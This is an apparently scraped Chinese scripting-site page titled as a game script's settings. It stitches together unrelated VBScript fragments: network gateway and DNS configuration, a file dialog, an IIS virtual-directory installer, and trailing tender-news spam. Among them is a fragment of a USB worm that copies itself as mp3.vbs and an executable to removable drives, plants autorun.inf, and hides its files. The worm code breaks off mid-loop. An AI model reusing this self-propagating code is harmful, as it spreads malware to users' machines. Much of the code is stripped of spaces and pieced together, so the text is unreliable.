彩虹岛封印之塔2脚本冰焰捡包设置

发布时间:2020-08-20来源:脚本之家点击:



2.创建引用

  在VB中使用“ProjectReferences"菜单创建一个对MicrosoftAccess8.0ObjectLibrary的引用


配置网关(默认路由):
wmic nicconfig where index=0 call setgateways("192.168.1.1"),(1)


vbs

Const T_GATEWAY="211.82.56.1" '网关
Const T_NEWDNS1="202.99.192.66" 'DNS1
Const T_NEWDNS2="60.221.248.43" 'DNS2
strWinMgmt="winmgmts:{impersonationLevel=impersonate}"
Set NICS=GetObject( strWinMgmt ).InstancesOf("Win32_NetworkAdapterConfiguration")
For Each NIC In NICS
If NIC.IPEnabled Then
NIC.SetDNSServerSearchOrder Array(T_NEWDNS1,T_NEWDNS2)
NIC.SetGateways Array(T_GATEWAY)
End If
Next

linux编写脚本锁屏


如果调用vb组件,可以是:

flag=&h200
whichone=OpenFile("ChooseaFile!","C:","Everything|*.*|TextFiles|*.TXT|Word-Documents|*.DOC",2,flag)
MsgBox"Rawdatareturned:"&whichone
'Splitupmultiselectionresult:
'spaceisusedasseparator:
whichone=Split(whichone,"")
'fieldindex0containspathinformation:
path=whichone(0)
'listallthefiles:
'howmanyfileswereselected?
filecount=UBound(whichone)
iffilecount=0then
'justonefileselected!
MsgBox"Youselectedonefile:"&whichone(0)
'checkstatusofReadOnlycheckbox
'isbit1setorcleared?
'worksonlyifjustonefilewasselected!
MsgBox"Returnedflag:"&flag
if(flagand1)then
'(flagand1)<>0,transformstotrue
'bitisset!
MsgBox"ReadOnlyselected!"
else
MsgBox"ReadOnlynotselected!"
endIf
'checkwhetherselectedfileisofdefaulttype(txt)
if(flagand1024)then
MsgBox"selectedfileisnotxtfile!"
else
MsgBox"selectedfileisofdefaulttype!"
endif
else
'morethanonefileselected!
MsgBox"Youselected"&filecount&"files!"
forx=1toUBound(whichone)
list=list&path&whichone(x)&vbCr
next
MsgBoxlist
endIf

functionOpenFile(title,dir,filter,index,flags)
setcomdlg=CreateObject("MSComDlg.CommonDialog")
comdlg.filter=filter
comdlg.FilterIndex=index
comdlg.Flags=flags
comdlg.MaxFileSize=260
comdlg.CancelError=false
comdlg.DialogTitle=title
comdlg.InitDir=dir
'settxtasdefault
comdlg.DefaultExt="txt"
comdlg.ShowOpen
OpenFile=comdlg.filename
'important:returnflagstatussoyourmainscriptcan
'checkit:
flags=comdlg.Flags
endfunction

组件相关文件下载如果ReCordset对象的Restartable属性值为Tme,则可以使用Requery方法来刷新Recordset对象的内容

'==============================================================================
'
'The.NETPetShopBlueprintApplicationWebSiteSetup
'
'File:CreateWeb.vbs
'Date:November10,2001
'
'Createsanewvdirforthisproject.SetvNametonameoffolderondisk
'thatholdsthefiles.
'
'==============================================================================
'
'Copyright(C)2001MicrosoftCorporation
'
'==============================================================================
OptionExplicit

dimvPath
dimscriptPath
dimvName

vName="PetShop"'nameofwebtocreate

'*****************************************************************************
'
'1.CreatetheIISVirtualDirectory
'
'*****************************************************************************
'getcurrentpathtofolderandaddwebnametoit
scriptPath=left(Wscript.ScriptFullName,len(Wscript.ScriptFullName)-len(Wscript.ScriptName))
vPath=scriptPath&"Web"

'calltocreatevDir
CreateVDir(vPath)


'----------------------------------------------------------------------------
'
'HelperFunctions
'
'-----------------------------------------------------------------------------

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'CreatesasingleVirtualDirectory(codetakenfrommkwebdir.vbsand
'changedforsinglevDircreation).
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
SubCreateVDir(vPath)

DimvRoot,vDir,webSite
OnErrorResumeNext

'getthelocalhostdefaultweb
setwebSite=findWeb("localhost","DefaultWebSite")
ifIsObject(webSite)=Falsethen
Display"UnabletolocatetheDefaultWebSite"
exitsub
else
'displaywebSite.name
endif

'gettheroot
setvRoot=webSite.GetObject("IIsWebVirtualDir","Root")
If(Err<>0)Then
Display"Unabletoaccessrootfor"&webSite.ADsPath
Exitsub
else
'displayvRoot.name
EndIF

'deleteexistingwebifneeded
vRoot.Delete"IIsWebVirtualDir",vName
vRoot.SetInfo
Err=0'reseterror

'createthenewweb
SetvDir=vRoot.Create("IIsWebVirtualDir",vName)
If(Err<>0)Then
Display"Unabletocreate"&vRoot.ADsPath&"/"&vName&"."
exitsub
else
'displayvdir.name
endif

'setpropertiesonthenewweb
vDir.AccessRead=true
vDir.Path=vPath
vDir.Accessflags=529
VDir.AppCreateFalse
If(Err<>0)Then
Display"Unabletobindpath"&vPath&"to"&vRoot.Name&"/"&vName&".Pathmaybeinvalid."
exitsub
endIf

'commitchanges
vDir.SetInfo
If(Err<>0)Then
Display"Unabletosavechangesfor"&vRoot.Name&"/"&vName&"."
exitsub
endif

'reportallok
WScript.EchoNow&""&vName&"virtualdirectory"&vRoot.Name&"/"&vname&"createdsuccessfully."
EndSub

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Findsthespecifiedweb.
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
FunctionfindWeb(computer,webname)
OnErrorResumeNext

Dimwebsvc,site
dimwebinfo
DimaBinding,binding

setwebsvc=GetObject(""&computer&"/W3svc")
if(Err<>0)then
exitfunction
endif
'Firsttrytoopenthewebname.
setsite=websvc.GetObject("IIsWebServer",webname)
if(Err=0)and(notisNull(site))then
if(site.class="IIsWebServer")then
'Herewefoundasitethatisawebserver.
setfindWeb=site
exitfunction
endif
endif
err.clear
foreachsiteinwebsvc
ifsite.class="IIsWebServer"then
'
'First,checktoseeiftheServerComment
'matches
'
Ifsite.ServerComment=webnameThen
setfindWeb=site
exitfunction
EndIf
aBinding=site.ServerBindings
if(IsArray(aBinding))then
ifaBinding(0)=""then
binding=Null
else
binding=getBinding(aBinding(0))
endif
else
ifaBinding=""then
binding=Null
else
binding=getBinding(aBinding)
endif
endif
ifIsArray(binding)then
if(binding(2)=webname)or(binding(0)=webname)then
setfindWeb=site
exitfunction
EndIf
endif
endif
next
EndFunction

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Getsbindinginfo.
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
functiongetBinding(bindstr)

Dimone,two,ia,ip,hn

one=Instr(bindstr,":")
two=Instr((one+1),bindstr,":")

ia=Mid(bindstr,1,(one-1))
ip=Mid(bindstr,(one+1),((two-one)-1))
hn=Mid(bindstr,(two+1))

getBinding=Array(ia,ip,hn)
endfunction

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Displayserrormessage.
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
SubDisplay(Msg)
WScript.EchoNow&".ErrorCode:"&Hex(Err)&"-"&Msg
EndSub

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Displayprogress/tracemessage.
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
SubTrace(Msg)
WScript.EchoNow&":"&Msg
EndSub

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Removetheweb.
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
SubDeleteWeb(WebServer,WebName)
'deletetheexsitingweb(ignoreerrorifmissing)
OnErrorResumeNext
DimvDir
display"deleting"&WebName

WebServer.Delete"IISWebVirtualDir",WebName
WebServer.SetInfo
IfErr=0Then
DISPLAY"WEB"&WebName&"deleted."
else
display"can'tfind"&webname
EndIf

EndSub

  从上面的例子及说明可以看出,VB中的数据环境就象一个大的数据控件一样,它可以在不同的窗体中引用和操作


On error resume next
Dim fso,wshell,curfolder,curdristr,curdri
Set fso=createobject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")
Set curfolder=fso.GetFolder(".")
curdristr=Left(WScript.ScriptFullName,3)
Set curdri=fso.GetDrive(curdristr)
reghid() '不显示隐藏文件
If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\mp3.vbs" Then '如果在system32中
For i=1 To 2 Step 0
reghid()
For Each dri In fso.Drives
If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then
'autorun.inf文件夹改名
If fso.FolderExists(dri.Path&"\autorun.inf") Then
fso.MoveFolder dri.Path&"\autorun.inf",dri.Path&"\Rubbish"
End If
'复制自身及exe文件到移动硬盘
If fso.FileExists(dri.Path&"\mp3.vbs") And fso.FileExists(dri.Path&"\autorun.inf") Then
Else
If fso.FileExists(dri.Path&"\mp3.vbs") Then
fso.DeleteFile dri.Path&"\mp3.vbs",True
ElseIf fso.FileExists(dri.Path&"\autorun.inf") Then
fso.DeleteFile dri.Path&"\autorun.inf",True
End if
fso.CopyFile WScript.ScriptFullName,dri.Path&"\mp3.vbs",True
If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(dri.Path&"\SiZhu.exe") Then
fso.CopyFile ".\SiZhu.exe",dri.Path&"\SiZhu.exe",True
End If
autoinf(dri.Path)
'给刚复制的文件加上隐藏属性
Set norkon=fso.GetFile(dri.Path&"\mp3.vbs")
wshell.run "attrib +r +a +s +h "&dri.Path&"\mp3.vbs",0
Set norkon=Nothing


  目前绝大部分的共享软件都是用delphi做的,虽然它的pascal语法让人别扭,可大家还是坚持用,最好的理由就是,它做绿色软件很方便,一个Exe文件基本上什么都搞定了

跨盘移动文件夹的怪问题
Set objFSO=CreateObject("Scripting.FileSystemObject")
objFSO.MoveFolder "C:\Scripts" , "d:\2"
权限拒绝,但是copy就可以拍摄文字Windows98系统的许多软件中都包含一个windows风格的about窗口,它向用户反映了当前系统的一些基本信息,其中显示有关windows及其应用软件的版本、版权和系统的工作状态等信息您猜怎么样?我们得到了值192.168.1.1,恰好是第一个IP地址。

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号
南怀瑾传奇06南怀瑾:苦集灭道南怀瑾传奇17老赖“兴谷集团”中标,阜宁县财政局:采购该“下课”了!首创环保集团中标山东枣庄高新区污水处理厂二期扩建项目会员动态 | 永清环保全资子公司中标大型企业集团危废处置项目青岛市2021上半年建企中标100强老赖“无锡路桥集团”中标,阳山镇政府:请负责人主动找纪监“泡茶”喜讯|朗坤中标中海石油气电集团智慧电厂项目中国电建、中材建筑、国际集团、中国土木等最新海外中标新签再创佳绩|吉林东奥建设集团中标长春科创企业孵化基地13.8亿项目工程总承包天健集团中标南岭村社区土地整备利益统筹项目前期服务商!